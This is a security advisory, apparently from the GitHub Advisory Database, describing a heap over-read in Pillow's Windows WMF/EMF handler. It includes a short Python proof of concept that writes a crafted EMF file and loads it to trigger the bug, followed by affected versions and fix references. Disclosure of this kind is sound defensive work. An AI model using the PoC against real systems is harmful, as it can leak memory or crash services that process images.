Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)
What fixes it
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native drawwmf handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.
Details
The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:
src/PIL/WmfImagePlugin.py:121-129reads the bounding box;:148stores it; the size reaches the native handler throughsrc/PIL/WmfImagePlugin.py:56.
In the native handler the DIB header fields bcWidth and bcHeight are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:
src/display.c:793-794assign the 16-bit fieldssrc/display.c:800sizes the allocation from themsrc/display.c:827copiesheight * ((width * 3 + 3) & -4)bytes using the full values
The whole handler is compiled only on Windows (#ifdef _WIN32, src/display.c:33-841).
PoC
import struct
from PIL import Image
def L(v):
return struct.pack("<i", v)
# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf = b"\x01\x00\x00\x00" + L(88) # record type + size
emf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF" # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)
im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load() # over-read happens here on a Windows buildOn Linux the first part is observable: the 88-byte file opens, size is (70000, 1), and the bomb check passes. The native over-read only exists on Windows because Image.core.drawwmf is compiled out elsewhere (on Linux im.load() raises OSError instead).
Impact
CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.
Text from GitHub Advisory Database
Affected versions 53
- Pillow, pip< 13.0.0GitHub
- Pillowaffected: < 13.0.0CVE List
- pillow, PyPIfrom first release, fixed in 13.0.0OSV
- pillow, PyPI1.0OSV
- pillow, PyPI1.1OSV
- pillow, PyPI1.2OSV
- pillow, PyPI1.3OSV
- pillow, PyPI1.4OSV
- pillow, PyPI1.5OSV
- pillow, PyPI1.6OSV
- pillow, PyPI1.7.0OSV
- pillow, PyPI1.7.1OSV
- pillow, PyPI1.7.2OSV
- pillow, PyPI1.7.3OSV
- pillow, PyPI1.7.4OSV
- pillow, PyPI1.7.5OSV
- pillow, PyPI1.7.6OSV
- pillow, PyPI1.7.7OSV
- pillow, PyPI1.7.8OSV
- pillow, PyPI10.0.0OSV
- pillow, PyPI10.0.1OSV
- pillow, PyPI10.1.0OSV
- pillow, PyPI10.2.0OSV
- pillow, PyPI10.3.0OSV
- pillow, PyPI10.4.0OSV
- pillow, PyPI11.0.0OSV
- pillow, PyPI11.1.0OSV
- pillow, PyPI11.2.1OSV
- pillow, PyPI11.3.0OSV
- pillow, PyPI12.0.0OSV
- pillow, PyPI12.1.0OSV
- pillow, PyPI12.1.1OSV
- pillow, PyPI12.2.0OSV
- pillow, PyPI12.3.0OSV
- pillow, PyPI2.0.0OSV
- pillow, PyPI2.1.0OSV
- pillow, PyPI2.2.0OSV
- pillow, PyPI2.2.1OSV
- pillow, PyPI2.2.2OSV
- pillow, PyPI2.3.0OSV
- pillow, PyPI2.3.1OSV
- pillow, PyPI2.3.2OSV
- pillow, PyPI2.4.0OSV
- pillow, PyPI2.5.0OSV
- pillow, PyPI2.5.1OSV
- pillow, PyPI2.5.2OSV
- pillow, PyPI2.5.3OSV
- pillow, PyPI2.6.0OSV
- pillow, PyPI2.6.1OSV
- pillow, PyPI2.6.2OSV
- pillow, PyPI2.7.0OSV
- pillow, PyPI2.8.0OSV
- pillow, PyPI2.8.1OSV
References 6
- github.com/python-pillow/Pillow/commit/4cf46bee338304c5c8968fd7f132ba0d40c428b7Fixvia CVE List
- github.com/python-pillow/Pillow/releases/tag/13.0.0Fixvia CVE List
- github.com/python-pillow/Pillow/security/advisories/GHSA-9v9v-9qvf-h2hjAdvisoryvia CVE List
- github.com/advisories/GHSA-9v9v-9qvf-h2hjAdvisoryvia GitHub
- nvd.nist.gov/vuln/detail/CVE-2026-96644Referencevia GitHub
- github.com/python-pillow/Pillow/pull/10120Referencevia CVE List